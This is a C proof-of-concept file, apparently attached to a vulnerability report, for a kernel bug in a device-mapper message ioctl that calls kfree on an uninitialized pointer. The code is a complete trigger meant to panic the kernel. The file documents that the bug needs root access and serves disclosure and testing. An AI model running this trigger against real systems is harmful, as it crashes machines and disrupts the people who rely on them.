DF-2446 / dm_uninit_msg.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 | /* * DF-2446 PoC — dm_message_ioctl uninitialized `msg` free/deref. * * Bug: in sys/dev/disk/dm/dm_ioctl.c dm_message_ioctl(): * 1006: char *msg; <-- UNINITIALIZED * 1028: prop_dictionary_get_cstring(dm_dict, DM_MESSAGE_STR, &msg); * <-- return value NOT checked; if the * "message" key is missing or wrong- * typed, libprop's prop_dictionary_get_cstring * (sys/libprop/prop_dictionary_util.c:185) * returns false WITHOUT writing *cpp, * leaving `msg` as stack garbage. * 1058: kfree(msg, M_TEMP); <-- frees a stack-garbage pointer. * * Trigger: send a NETBSD_DM_IOCTL with command="message" and a valid dm * device name (so dm_dev_lookup succeeds and we reach the buggy kfree), * but OMIT the "message" key from the dictionary. msg stays uninitialized, * and kfree() is called on whatever stack residue the pointer holds -> * panic / INVARIANTS trap / use-after-free. * * Privilege note: /dev/mapper/control is created as 0640 root:operator * (sys/dev/disk/dm/device-mapper.c:181) and the dm module must be kldload-ed * by root. This PoC therefore must run as root (or an operator-group * member) -- the bug is a root->kernel hardening/robustness gap, not an * unprivileged->root escalation. See VERDICT.md for the privilege analysis. * * Build: cc -o dm_uninit_msg dm_uninit_msg.c -lprop * Run: ./dm_uninit_msg (as root, after `kldload dm`) */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <libprop/proplib.h> #include <dev/disk/dm/netbsd-dm.h> #define DM_CONTROL_DEV "/dev/mapper/control" #define DEV_NAME "df2446dev" static int send_ioctl(int fd, prop_dictionary_t dict) { int rv; rv = prop_dictionary_send_ioctl(dict, fd, NETBSD_DM_IOCTL); return rv; } static prop_dictionary_t new_dm_dict(const char *command) { prop_dictionary_t dict; prop_array_t ver; dict = prop_dictionary_create(); if (dict == NULL) { fprintf(stderr, "prop_dictionary_create failed\n"); exit(1); } /* dm_check_version requires major==4 and minor<=16 */ ver = prop_array_create(); prop_array_add_uint32(ver, 4); /* DM_VERSION_MAJOR */ prop_array_add_uint32(ver, 0); /* minor <= DM_VERSION_MINOR (16) */ prop_array_add_uint32(ver, 0); prop_dictionary_set(dict, DM_IOCTL_VERSION, ver); prop_object_release(ver); prop_dictionary_set_cstring(dict, DM_IOCTL_COMMAND, command); prop_dictionary_set_uint32(dict, DM_IOCTL_FLAGS, 0); return dict; } int main(void) { prop_dictionary_t dict; int fd, rv; fd = open(DM_CONTROL_DEV, O_RDWR); if (fd < 0) { fprintf(stderr, "open %s: %s\n", DM_CONTROL_DEV, strerror(errno)); fprintf(stderr, "(is the dm module loaded? run: kldload dm)\n"); return 1; } /* * Step 1: create a dm device so dm_dev_lookup(name) in * dm_message_ioctl finds it and we reach the buggy kfree. */ dict = new_dm_dict("create"); prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME); rv = send_ioctl(fd, dict); printf("[*] create '%s': prop_dictionary_send_ioctl rv=%d (%s)\n", DEV_NAME, rv, rv ? strerror(rv) : "ok"); prop_object_release(dict); if (rv != 0) { fprintf(stderr, "[!] create failed; aborting.\n"); close(fd); return 1; } /* * Step 2: send command="message" with the same device name, but * OMIT the DM_MESSAGE_STR ("message") key. prop_dictionary_get_cstring * returns false without writing &msg, so the kernel `msg` stays * uninitialized and kfree(msg) is called on stack garbage. * * We deliberately do NOT set "sector" either, so sector==0 and the * first table entry is selected (found stays 0 because the device * has no table loaded -> the target->message call is skipped, taking * us straight to the buggy kfree at line 1058). */ dict = new_dm_dict("message"); prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME); /* NOTE: DM_MESSAGE_STR intentionally NOT set */ printf("[*] sending message ioctl WITHOUT 'message' key...\n"); printf("[*] expect: kernel panic / INVARIANTS trap in kfree of " "uninitialized stack ptr\n"); fflush(stdout); rv = send_ioctl(fd, dict); /* If we get here at all, the kernel did not panic on this run. */ printf("[!] message ioctl returned rv=%d (%s) -- kernel survived " "(stack residue happened to look like NULL/valid-freed?)\n", rv, rv ? strerror(rv) : "ok"); prop_object_release(dict); close(fd); return 0; } |